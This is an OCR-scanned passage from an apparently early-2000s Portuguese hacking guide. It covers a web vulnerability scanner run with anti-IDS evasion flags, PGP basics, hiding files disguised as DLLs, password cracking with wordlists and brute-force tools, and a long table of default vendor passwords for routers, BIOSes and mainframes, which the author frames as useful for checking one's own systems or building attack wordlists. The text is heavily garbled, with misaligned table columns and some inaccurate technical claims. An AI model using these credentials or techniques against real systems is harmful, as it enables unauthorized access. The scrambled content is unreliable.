um host. Na minha opinido, o Shadow Security Scanner € o melhor para Windows (ele é
baseado no programa Retina do grupo EEY E) e o Nessus 0 melhor para Unix. Utilizaremos o
TWWWSCAN como exemplo pois ele € bem simples.

1. Abrao prompt do ms-dos.
2. [Execute o programa.

3. ApOs o programa mostrar essa tela, execute-o novamente com o seguinte comando:
twwwscan <endereco ip ou nome do host> 80 —v —t3 —pa —ids
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s TWWWSCAN _[O] ]

ool ) P

Don“t tell vour web server free from attack tvwmescan 1.2 2001/02/51%
http:ffsearch.i1land.co.kr

tvwmscan <server? <port? <{display> <type’ <pmode’* <a_idsmode>
-u(*D.6) scan typeldisplay status) or -n(no display)

-t1Cuse GETY,-t2(scan virtual host),-t3(virtual and GETY or -n
passive mode scan -pw(windows) -pufunix) -paCALL) or -nlne applyl
-idsCAnti-IDS mode URL Encoding)

usage
<displaw>
<typer
<prode
{a_idsmode>

tvwmwscan drill.hackerslab.org 80

tvwmyscan 127.0.0.1 80 -v

tvwwscan target.com &0 -n -n -pw

tvwmrscan virtual.vourhost.com 080 -v -t3 -pu
tvwmwscan idstest . yourhost.com 80 -v -t1 -pa -ids

example
exanple
example
exanple
example

contact : search@iland.co.kr Chttp:/fsearch.iland.co.kr)
Tested On : Windows 9505R2,%8,985E,HTh, 2k, He

thanks rlar,korea security guys,kuolChe designed the twmscan logod
Dug SongCmonkev._org),UHYUHC(Shadow Penguin Security) ,Boelof(Ca author of pudding)

Powered by Borland C++ 5.5 Chttp:/fwmm_borland.com)

Pedimos ao scanner para utilizar a porta 80 (padréo), -v (mostrar o status), -t3
(utilizar dois tipos de métodos de teste), -pa (tentar erros de unix e de windows) e —ids
(tatica para conseguir um resultado mais eficiente). O programa ird rodar, testar
diversas combinacdes e Ihe fornecer os erros encontrados.

Outros bom programas para serem testados:

Retina (www.eeye.com)

Typhon (visto no capitulo sobre falhas, pode ser pego em www.security-focus.com)
Stealth (visto no capitul o sobre falhas, pode ser pego em www.nstalker.com)

E muitos outros. O negdcio é fucar para descobrir as novidades. E isso é 0 que néo
falta. Visite sempre paginas como www.blackcode.com e www.securityfocus.com para
obter novidades.
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Criptografia

Introducao

Criptografia é a arte da escrita oculta usada desde a antiguidade por exemplo: pelos
egipcios na sua antiga escrita. Ela é muito importante hoje em dia na internet. Mandar um e-
mail confidencia da maneira convencional é muito inseguro ele pode ser interceptado no
meio da transmissdo ou posteriormente, por isto a necessidade do uso de programas €ficientes,
como o PGP. Esses programas possibilitam uma espécie de “cddigo especial” entre vocé e 0
receptor da mensagem, fazendo com que mesmo que alguém consiga obte-la no meio do
caminho, ela ser4 impossivel de seler.

Chaves publicas e privadas

Na década de 1970 o patréo na criptografia era a criptografia simétrica onde tinhamos uma
Unica chave (senha) para encriptar e desencriptar, tanto para 0 emissor quanto para o
destinatario. O grande problema desse método era como transmitir com seguranca esta senha.

No final da década de 70 foi desenvolvido o método da criptografia assimétrica e a
tecnologia das chaves publica e privada. V océ encriptava com a chave publica do destinatério
e somente ele poderia desencriptar utilizando a sua chave privada , e também haveria como
saber com certeza absoluta se a pessoa que mandou a mensagem era realmente quem dizia
Ser.

PGP

Nesse cenario foi desenvolvido o famoso programa PGP por Philip R. Zimmermann.
Segundo as autoridades americanas ferindo as patentes do algoritmo RSA, ele foi processado
e 0s voluntarios dainternet o ajudaram a pagar os advogados. Hoje as leis americanas ja estéo
mais brandas e o PGP ja é usado internacionamente. Por fim a Network Associates(
desenvolvedora do Mcafee Virus Scan ), comprou os direitos do PGP e hoje Zimmermann &
seu empregado.

Até hoje, ap0s véarias versdes desse programa ninguém nunca desencriptou uma unica
mensagem de 16bits do PGP e hoje ele trabalha com mais de 2000bits. Sempre gera uma nova
criptografia a cada secdo. Estima-se que dezenas de computadores Pentium levariam muito
tempo para desencriptar uma simples mensagem de 16bits. NZo é exagero. E a tecnologia.
Pegue o PGP no endereco www.superdownloads.com.br. Com certeza € um 6timo software
e vae a pena aprender a usalo. Mas lembre-se , apesar de dificil a criptografia ndo é
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impossivel de ser quebrada. A prova disso é o grupo de internautas que conseguiu quebrar o
codigo criptografado de um celular de ultima geragéo.

.2 PGPkeys =10] x|

File Edit “iew FKeps Server Groupz Help

Zx Ao xe R -

keys | Y alidity | Trust | Size | D ezcription ﬂ
2= Micholaz J. Tamagni <ntamagnit®pgp.c... 0001024 DHADSS public
= Micholaz Ryan <niyant@pgp. coms 2048/1024  DHADSS public
2= Moah Dibner 5 alzman <noah@pgp. com: 22811024 DHADSS public
= Paul B. Johnzon <pbi@pop. con 204831024 DHADSS public
27 Philip Mathan <philipn@pap. com: 20431024 DHADSS public
= Philip B. Zimmermann <prz@pgp.cons 204841024 DH/DSS public
= RafaelJerez <FJerez@nal coms — 20431024  DHADSS public
% e T e B T e i o 1 20481024  Ewpired DH/DS
—
| —

—
—
—
—
—
—

2= ScottJ. Wilson <swilson@nai. com; 204831024 DHADSS public

&= Sean Tran <Sean hani@nai.coms: 307241 EI|24 CDH/DS5 public™
4 k

| | 4

O programa PGP é largamente utilizado atualmente.

POCOEOEOEOEEE

Saidas alternativas

Se 0 que vocé quer € apenas esconder alguns arquivos na sua maguina para que ninguém
os utilize ou encontre, ha algumas saidas interessantes. Crie diretorios usando caracteres ALT
(capitulo sobre 9, sobre DOS). O Windows ndo consegue acessar esses diretérios. Esconda
arquivos comprimindo-os com GZIP ou TAR e renomeando-os (mude a extensdo paraDLL e
coloque no diretério SYSTEM do Windows, quero ver quem vai encontrar). O que manda,
mein freunds, é a imaginacdo. Tanto que a maioria dos hackers tém mais imaginacéo do que
conhecimentos. Ou vocé acha que existe algum ser humano na face da Terra que saiba:
Pascal, Basic, C, Fortran, Algol, Java, Assembler, PHP, Flash, BeOS, Unix, Dec-10,
Hardware, Novell, SQL, Windows NT, Macintosh e VAX/VMS? Bom, se tiver alguém
com certeza vocé encontrard o nome no Guiness.
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11

Crackeando

Conceito de “crackear”

Crackear no mundo da seguranca significa se utilizar de alguma técnica ou ferramenta para
se descobrir algum dado criptografado ou uma senha. Atualmente é muito comum o
“cracking”. Conseguiram crackear o sistema de criptografia de um celular novo, um garoto de
16 anos conseguiu quebrar a criptografia do sistema de DVD, resultando no programa DeCSS
e no DivX (formato comprimido de filmes, como se fosse 0 mp3 da musica). Sistemas
simples de criptografia também sdo faceis de serem quebrados. O Windows 3.11 utilizava o
Trumpet Winsock para a conex&o com a Internet. Apos cerca de duas horas brincando com
ele, descobri como sua criptografia funcionava. Os antigos joguinhos de DOS que precisavam
de senhas, tal como Prince of Pérsia e Stunts sdo também facilmente crackeados.

E por ai vai. O maior problema relacionado a seguranca € com 0 descobrimento de senhas.
E extremamente facil de se descobri-las devido ao constante aumento da velocidade dos
computadores e dos cada vez mais frégels sistemas operacionais. Um simples trojan ou um
sniffer podem conseguir quebrar uma senha facilmente. Existem também alguns outros
recursos utilizados por crackers, como utilizagdo de wordlists e bruteforce.

Wordlists

S&o listas de palavras criadas especia mente para se descobrir senhas. Quando vocé tém em
maos um arquivo de senha do UNIX com o sistema de criptografia DES, por exemplo. A
criptografia é inquebravel, mas vocé pode utilizar programas como o famoso Cracker Jack
ou mesmo o Shadow Scan. Eles pegam um arquivo criado por vocé com listas de palavras
comuns (geralmente utilizadas como senhas, tal como alien3, tricolor, secreta, 101010 e
outras) o criptografa utilizando o0 mesmo sistema das senhas de Unix (DES) e compara 0s
arquivos. Se o programa encontrar algum usu&io em que a criptografia tenha ficado
exatamente igual, o0 nome |he é informado. As palavras sdo colocadas verticalmente, uma em
cadalinha. Mais ou menos assim:

alien3
tricolor
secreta

101010
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O processo de bruteforce

O método da forca bruta € muito demorado. Pode levar horas, e as vezes dias. Mas
continua sendo de longe o mais eficaz. Utiliza-se um programa que tenta conectar-se a um
sistema utilizando todas as combinacfes possiveis de letras e niUmeros. Para um cracker que
possui uma conexdo de 56 kbps e utiliza um Pentium I11 800, € improvavel que consiga
descobrir a senha. Para se ter alguma chance deve-se utilizar uma conexdo dedicada (a cabo,
via radio e outras) e varios computadores. Tendo 20 computadores rgpidos trabalhando cada
um em um setor (um tentando descobrir senhas comegadas por a, outro por b, outro por c,
etc...) 0 tempo para se conseguir o prémio diminuira consideravelmente. Existem alguns casos
em que a forca bruta € mais rapido, como quando se tenta quebrar um arquivo de senhas
localmente. Pode ser um passwd do Unix ou um mais facil de se quebrar ainda, o PWL do
Windows. O programa CAIN ,ShadowScan, Brutus e NAT (Netbios Auditing Tool) séo
bons programa para realizar o processo de bruteforce. Para encontra-los ja sabe: Lycos,
Google, Y ahoo e Altavista na cabega.

-Server Terminal-

Realizacdo de um bruteforce em algum sistema vulneravel

Senhas padrdes

Senhas padrdes sdo senhas que ja vém configuradas com o sistema ou algum utilitéario de
atualizacdo as configura. Existem ndo sO nos sistemas operacionais mas também em
dispositivos de hardware como roteadores. Asseguro que alista a seguir € amaior que vocé ja
viu. Use-a para checar se 0 seu sistema esta vulneravel ou crie uma wordlist com as senhas
padrées mais usadas de todos os sistemas. De qualquer maneira, tenho certeza que esses
dados |he serdo muito interessantes.
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Fabricante Produto Revisao Protocolo |Usuério Senha Nivel de acesso
3COM CellPlex 7000 Telnet tech tech
3COM CoreBuilder 7000/6000/3 Telnet debug synnet

500/2500
3COM CoreBuilder 7000/6000/3 Telnet tech tech

500/2500
3COM HiPerARC v4.1.x Telnet adm (none)
3COM LANplex 2500 Telnet debug synnet
3COM LANplex 2500 Telnet tech tech
3COM LinkSwitch 2000/2700  Telnet tech tech
3COM Office Connect ISDN Routers ~ 5x0 Telnet n/a PASSWORD Admin
3COM NetBuilder SNMP n/a ANYCOM
3COM SuperStack Il Switch 2200 Telnet debug synnet
3COM SuperStack Il Switch 2700 Telnet tech tech
3COM SuperStack Il Switch 1100/3300 Telnet monitor monitor Monitor
3COM SuperStack Il Switch 1100/3300 Telnet manager manager Manager
3COM SuperStack Il Switch 1100/3300 Telnet admin (none) Admin
3COM SuperStack Il Switch 1100/3300 Telnet security security Admin
3COM Telnet adm (none)
3COM Telnet admin synnet
3COM Telnet manager manager
3COM Telnet monitor monitor
3COM Telnet read synnet
3COM Telnet security security
3COM Telnet write synnet
Accelerated Networks DSL CPE and DSLAM Telnet sysadm anicust
ADC Kentrox Pacesetter Router Telnet n/a secret
Adtran MX2800 Telnet n/a adtran
Advanced Integration  PC BIOS Console n/a Advance Admin
Alteon ACEswitch 180e HTTP admin admin Admin
Alteon ACEswitch 180e Telnet admin (none)
AMI PC BIOS Console n/a AM Admin
AMI PC BIOS Console n/a AMI Admin
AMI PC BIOS Console n/a A.M.I Admin
AMI PC BIOS Console n/a AMI_SW Admin
AMI PC BIOS Console n/a AMI?SW Admin
AMI PC BIOS Console n/a aammii Admin
AMI PC BIOS Console n/a AMIISW Admin
AMI PC BIOS Console n/a AMI.KEY Admin
AMI PC BIOS Console n/a AMI.KEZ Admin
AMI PC BIOS Console n/a AMI~ Admin
AMI PC BIOS Console n/a AMIAMI Admin
AMI PC BIOS Console n/a AMIDECOD Admin
AMI PC BIOS Console n/a AMIPSWD Admin
AMI PC BIOS Console n/a amipswd Admin
AMI PC BIOS Console n/a AMISETUP Admin
AMI PC BIOS Console n/a BIOSPASS Admin
AMI PC BIOS Console n/a CMOSPWD Admin
AMI PC BIOS Console n/a HEWITT RAND Admin
Amptron PC BIOS Console n/a Polrty Admin
Apache Project Apache "jj" script HTTP n/a SDGROCKS User
APC MasterSwitch AP9210 apc apc Admin
APC SNMP Adapter 2.x apc apc
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APC

APC

APC
APC

Ascend
AST
Attachmate
AT&T
Audioactive
Autodesk
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD
AWARD

Call-UPS
Share-UPS

Web/SNMP Management Card
Powerchute Plus

Router
PC BIOS
Attachmate Gateway
3B2 Firmware
MPEG Realtime Encoders
Autocad
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS
PC BIOS

AP9608

AP9207

AP9606

4 x for
Netware
3.x/4.x

Console

Console

Multi
Console

Telnet
Console
Console
Console
Telnet
Multi
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console
Console

n/a

n/a

apc

POWERCHUT
E

n/a
n/a
n/a
n/a
n/a
autocad
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a
n/a

serial number of
the Call-UPS
serial number of
the Share-UPS
apc

APC

ascend
SnuFG5
PASSWORD
mcp

telos
autocad
Award
AWARD_SW
SW_AWARD
Ikwpeter
LKWPETER
?award
256256
admin
alfarome
aLlLy

aPAf

award
AWARD SW
awkward
BIOS
biosstar
biostar
CONCAT
condo
CONDO
CONDO,
HELGA-S
HEWITT RAND
HLT

j322

j64

Ikw peter
Ikwpeter
PASSWORD
SER

setup
SKY_FOX
SWITCHES_SW
Sxyz

SZYX
t0ch20x
t0ch88
TTPTHA
TzgF

wod]
zbaaaca

Admin

Admin

Admin
Admin

Admin
Admin
Admin
Admin
Admin
User

Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
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Axis

Axis

Bay Networks
Bay Networks
Bay Networks
Bay Networks
Bintec
Biostar
Biostar
Breezecom
Breezecom
Breezecom
Breezecom
Cabletron
Cabletron
Cayman

CGI World

Cisco
Cisco
Cisco
Cisco
Cisco
Cisco
Cisco
Cisco
Cisco
Cisco

Cisco

Cisco

Cisco
Cisco-Arrowpoint
Compag
Compaq
Compaq
Compaq
Compaq
Compualynx
Compualynx
Compualynx
Concord
Crystalview

CTX International
CyberMax
Daewoo

Dallas Semiconductors

Data General
Data General
Data General
Datacom
Datacom

NETCAM
Printserver
Router

Router
SuperStack Il
Switch

Bianka Routers
PC BIOS

PC BIOS

Breezecom Adapters
Breezecom Adapters
Breezecom Adapters
Breezecom Adapters

Netgear modem/router and SSR
routers & switches

Cayman DSL
Poll It

CiscoWorks 2000
CiscoWorks 2000
ConfigMaker

I0S

10S

10S

10S

10S

10S

10S

10S

10S

PIX

Arrowpoint
Insight Manager
Insight Manager
Insight Manager
Insight Manager
PC BIOS
Cproxy Server
Cmail Server
SCM

PC BIOS
OutsideView 32
PC BIOS

PC BIOS

PC BIOS

TINI embedded JAVA Module

AOS/VS
AOS/VS
AOS/IVS
BSASX/101
NSBrowse

200/240
540/540+

350T

4.4.x
4.x
3.X
2.X

v2.0

2600 series

All Versions
All Versions
All Versions

<=1.0

Telnet
Multi
Telnet
Telnet
Telnet
Telnet
Multi
Console
Console

HTTP

Multi
Multi
Multi
Multi
Multi
Multi
SNMP

SNMP

Multi
Telnet

Console
Multi
Multi
Multi

Console
Console
Console
Telnet
Multi
Multi
Multi

Multi

root
root
Manager
User
security
n/a
admin
n/a

n/a

n/a

n/a

n/a

n/a
netman
(none)
n/a

n/a

admin
guest
cmaker
cisco
enable
n/a

n/a

n/a

n/a

public
ReadOnly
access
private
ReadWrite
access
ripeop

n/a

admin
administrator
anonymous
operator
user

n/a
administrator
administrator
administrator
n/a

n/a

n/a

n/a

root
operator
op

op

n/a
sysadm

pass
pass
(none)
(none)
security
NetICs
bintec
Biostar
Q54arwms
Helpdesk
Super
Master
laflaf
(none)
(none)
(none)
protection

cisco

(none)
cmaker
cisco

cisco

c

cc

cisco

Cisco router
secret

secret

(no pw)
cisco
system
administrator
(none)
operator
public
Compaq
asecret
asecret
asecret
last
Crystal
CTX_123
Congress
Daewuu
tini
operator
op
operator
letmein
sysadm
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Admin

Admin
Admin
User

Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin

Admin

User/Admin
over package
Admin

User
Admin

Read

Read/Write

UID = pix
Admin
Admin
User

User

Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
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Daytek

Debian

Dell

Develcon
Develcon
Dictaphone
Dictaphone
Dictaphone
Digicorp

Digicorp

Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment

PC BIOS
Linux LILO Default
PC BIOS

Orbitor Default Console
Orbitor Default Console

ProLog
ProLog
ProLog
Viper
Viper
DEC-10
DEC-10
DEC-10
DEC-10
DEC-10
DEC-10
DEC-10
DEC-10
DEC-10
DEC-10
DecServer
DecServer
IRIS
IRIS
IRIS
IRIS
IRIS
IRIS
IRIS

PC BIOS
RSX
RSX
RSX
RSX
RSX
Terminal Server
Terminal Server
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS

Console
Console
Console

Telnet
Telnet
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Console
Multi
Multi
Multi
Multi
Multi
Port 7000
Port 7000
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

n/a

n/a

n/a

n/a

n/a

NETOP
NETWORK
PBX

n/a

n/a

n/a
accounting
boss
demo
manager
PDP11
PDP8
software
n/a

11
BATCH
SYSTEM
SYSTEM
USER
n/a

n/a
ALLIN1
ALLINIMAIL
ALLINONE
BACKUP
DCL
DECMAIL
DECNET
DECNET
DECNET
DEFAULT
DEFAULT
DEMO
FIELD
FIELD
FIELD
FIELD

Daytec
tatercounter2000
Dell
BRIDGE
password
(none)
NETWORK
PBX
BRIDGE
password
syslib
operator
manager
maintain
syslib
manager
operator
games
games
maintain
ACCESS
SYSTEM
accounting
boss
demo
manager
PDP11
PDP8
software
komprie
SYSTEM
BATCH
MANAGER
SYSTEM
USER
access
system
ALLIN1
ALLINIMAIL
ALLINONE
BACKUP
DCL
DECMAIL
DECNET
NONPRIV
DECNET
USER
DEFAULT
DEMO
FIELD
SERVICE
TEST
DIGITAL

Admin
Admin
Admin
Admin
Admin

Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
Admin
User
User
User
Admin
Admin
Admin
Admin
User
Admin
User
User
User
Admin
Admin
User
Admin
Admin
User
User
Admin
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Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment

Digital Equipment

Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
Digital Equipment
D-Link

Dynix Library Systems
Dynix Library Systems
Dynix Library Systems
Efficient

Elsa

Elsa

VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS
VMS

VMS

VMS

VMS

VMS

VMS

VMS

VMS

VMS
hubs/switches
Dynix

Dynix

Dynix
Speedstream DSL
LANCom Office ISDN Router

LANCom Office ISDN Router

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

Multi

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Telnet
Multi
Multi
Multi
Telnet

800/1000/11 Telnet
00
800/1000/11 Telnet
00

GUEST
HELP
HELPDESK
HOST
HOST

INFO
INGRES
LINK
MAILER
MBMANAGER
MBWATCH
NETCON
NETMGR
NETNONPRIV
NETPRIV
NETSERVER
NETSERVER
NETWORK
NEWINGRES
NEWS
OPERVAX
POSTMASTER
PRIV
REPORT
RJE
STUDENT
SYS
SYSMAINT
SYSMAINT
SYSMAINT
SYSTEM
SYSTEM
SYSTEM
SYSTEM
SYSTEST

SYSTEST_CLI
G

SYSTEST CLI
G
TELEDEMO

TEST
UETP
USER
USERP
VAX
VMS
D-Link
circ
LIBRARY
SETUP
n/a

n/a

n/a

75
GUEST

HELP
HELPDESK
HOST

HOST

INFO
INGRES
LINK

MAILER
MBMANAGER
MBWATCH
NETCON
NETMGR
NETNONPRIV
NETPRIV
NETSERVER
NETSERVER
NETWORK
NEWINGRES
NEWS
OPERVAX
POSTMASTER
PRIV
REPORT
RJE
STUDENT
SYs
SYSMAINT
SERVICE
DIGITAL
SYSTEM
MANAGER
OPERATOR
SYSLIB
UETP
SYSTEST_CLIG

SYSTEST

TELEDEMO
TEST

UETP
PASSWORD
USERP

VAX

VMS

D-Link

<social sec #>  User
User
Admin
Admin
Admin

(none)
(none)
admin
cisco

(none) Admin
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Enox

Epox
Ericsson
Flowpoint
Flowpoint
Flowpoint
Freetech
Galacticomm
GuardOne
GuardOne
glFtpD
Hewlett-Packard

Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard

Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard

PC BIOS

PC BIOS

Ericsson Acc

DSL

DSL

Flowpoint/2000 ADSL
PC BIOS

Major BBS

Restrictor

BizGuard

glFtpD

HP 2000/3000 MPE/xx

HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx

HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx

2000

all

Console
Console

Telnet
Telnet
Telnet
Console
Multi
Multi
Multi
Console
Multi

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi

n/a

n/a
netman
admin
n/a

n/a

n/a
Sysop
n/a

n.a
glftpd
ADVMAIL

ADVMAIL
FIELD
FIELD
FIELD
FIELD
FIELD
FIELD
FIELD
FIELD
HELLO
HELLO
HELLO

HELLO
MAIL
MAIL
MAIL
MAIL
MAIL
MANAGER
MANAGER
MANAGER
MANAGER
MANAGER
MANAGER
MANAGER
MGE
MGE
MGR
MGR
MGR
MGR
MGR
MGR
MGR
MGR
MGR
MGR
MGR
MGR
MGR

76
x0llnE Admin

central Admin
netman

admin Admin
password Admin
(none) Admin
Posterie Admin
Sysop Admin
guardone Admin
guardone Admin
glftpd Admin

HPOFFICE,DAT
A
HP

SUPPORT
MGR

SERVICE
MANAGER
HPP187,SYS
LOTUS
HPWORD,PUB
HPONLY
MANAGER.SYS
MGR.SYS

FIELD.SUPPOR
T
OP.OPERATOR

MAIL
REMOTE
TELESUP
HPOFFICE
MPE

TCH

SYS
SECURITY
ITF3000
HPOFFICE
COGNOS
TELESUP
VESOFT
VESOFT
SYS
CAROLIAN
VESOFT
XLSERVER
SECURITY
TELESUP
HPDESK
CCcC
CNAS
WORD
COGNOS
ROBELLE
HPOFFICE
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Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
Hewlett-Packard
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM

HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
HP 2000/3000 MPE/xx
Vectra

AlX

AIX

Ascend OEM Routers
0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

0S/400

PC BIOS

PC BIOS

PC BIOS

POS CMOS

POS CMOS

VM/CMS

VM/CMS

VM/CMS

VM/CMS

VM/CMS

Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Console
Multi
Multi
Telnet
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Multi
Console
Console
Console
Console
Console
Multi
Multi
Multi
Multi
Multi

MGR HPONLY
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MGR NETBASE
MGR REGO
MGR RJIE

MGR CONV
OPERATOR  SYS
OPERATOR  DISC
OPERATOR  SYSTEM
OPERATOR  SUPPORT
OPERATOR COGNOS
PCUSER SYS
RSBCMON SYS
SPOOLMAN  HPOFFICE
WP HPOFFICE
n/a hewlpack
guest (none)
guest guest

n/a ascend
11111111 11111111
22222222 22222222
ibm password
ibm 2222

ibm service
gpgmr gpgmr
gsecofr gsecofr
gsecofr 11111111
gsecofr 22222222
gserv gserv
gsrv gsrv
gsrvbas gsrvbas
qsvr qsvr

qsvr ibmcel
gsysopr gsysopr
quser quser
user USERP
secofr secofr
sedacm secacm
sysopr sysopr
n/a IBM

